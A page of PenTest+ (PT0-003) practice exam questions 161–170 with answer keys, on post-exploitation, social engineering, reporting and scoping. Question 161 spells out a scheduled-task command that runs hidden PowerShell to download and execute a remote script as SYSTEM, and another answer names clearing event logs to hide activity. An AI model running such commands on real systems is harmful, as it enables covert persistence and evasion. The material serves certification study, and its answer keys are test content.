PT0-003 practice questions 161–170

1. Question 161 · 335 in bank

   A tester obtained access to a computer using a SMB exploit and now has a shell access into the target computer. The tester runs the following on the obtained shell: schtask /create /tn Updates /tr "C:\windows\syswow64\Windows\WindowsPowershell\v1.0\powershell.exe hidden -NoLogo -NoInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://10.10.1.2/asd')))'" /sc onlogon /ru System Which of the following does this action accomplish?

   • AUpgrades the shell performing a privilege escalation activity
   • BUses the Windows Update service to move the shell connection and avoid detection
   • CMaintains access into the compromised computer
   • DForwards all the communication from the compromised host to the host 10.10.1.2

   Show answer

   Answer: C

   Next question

2. Question 162 · 335 in bank

   During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence. Which of the following is the best way for the penetration tester to hide the activities performed?

   • AClear the Windows event logs.
   • BModify the system time.
   • CAlter the log permissions.
   • DReduce the log retention settings.

   Show answer

   Answer: A

   Next question

3. Question 163 · 335 in bank

   A penetration tester is assessing the overall preparedness of a client's staff for text-message-based attacks. Which of the following most accurately describes the attack technique the tester is assessing?

   • AWhaling
   • BVishing
   • CWardriving
   • DSmishing

   Show answer

   Answer: D

   Next question

4. Question 164 · 335 in bank

   A penetration tester attempts to access an internet-facing web page while conducting research on site. However, the web page is no longer accessible. Which of the following is the best step for the tester to take to continue gathering details?

   • AChange the proxy settings.
   • BTry a different user agent in the browser.
   • CLocate a cached version of the page.
   • DAsk to have the site unblocked.

   Show answer

   Answer: C

   Next question

5. Question 165 · 335 in bank

   A penetration tester cannot complete a full vulnerability scan because the client's WAF is blocking communications. During which of the following activities should the penetration tester, discuss this issue with the client?

   • AGoal reprioritization
   • BPeer review
   • CClient acceptance
   • DStakeholder alignment

   Show answer

   Answer: A

   Next question

6. Question 166 · 335 in bank

   Which of the following is a reason to use a template when creating a penetration testing report?

   • ATo articulate risks accurately
   • BTo enhance the testing approach
   • CTo contextualize collected data
   • DTo standardize needed information
   • ETo improve testing time

   Show answer

   Answer: D

   Next question

7. Question 167 · 335 in bank

   During a security audit, a penetration tester wants to exploit a vulnerability in a common network protocol. The protocol allows encrypted communications to be intercepted and manipulated. Which of the following vulnerabilities should the tester exploit?

   • ACVE-202W-ZZZZ: Cisco ASA IKEv2/IPSec Fragmentation Vulnerability
   • BCVE-202Y-XXXX: Wireshark SSL/TLS Decryption Vulnerability
   • CCVE-202X-YYYY: OpenSSL DROWN Attack
   • DCVE-202Z-WWWW: Microsoft SMBv1 EternalBlue Exploit

   Show answer

   Answer: C

   Next question

8. Question 168 · 335 in bank

   A penetration tester wants to create a malicious QR code to assist with a physical security assessment. Which of the following tools has the built-in functionality most likely needed for this task?

   • ABeEF
   • BJohn the Ripper
   • CZAP
   • DEvilginx

   Show answer

   Answer: A

   Next question

9. Question 169 · 335 in bank

   A penetration tester is trying to execute a post-exploitation activity and creates the follow script:

   

   Which of the following best describes the tester's objective?

   • ATo download data from an API endpoint
   • BTo download data from a cloud storage
   • CTo exfiltrate data over alternate data streams
   • DTo exfiltrate data to cloud storage

   Show answer

   Answer: D

   Next question

10. Question 170 · 335 in bank

    While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

    • AConfiguration changes were not reverted.
    • BA full backup restoration is required for the server.
    • CThe penetration test was not completed on time.
    • DThe penetration tester was locked out of the system.

    Show answer

    Answer: A

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

PT0-003 practice, question 161. 335 questions available.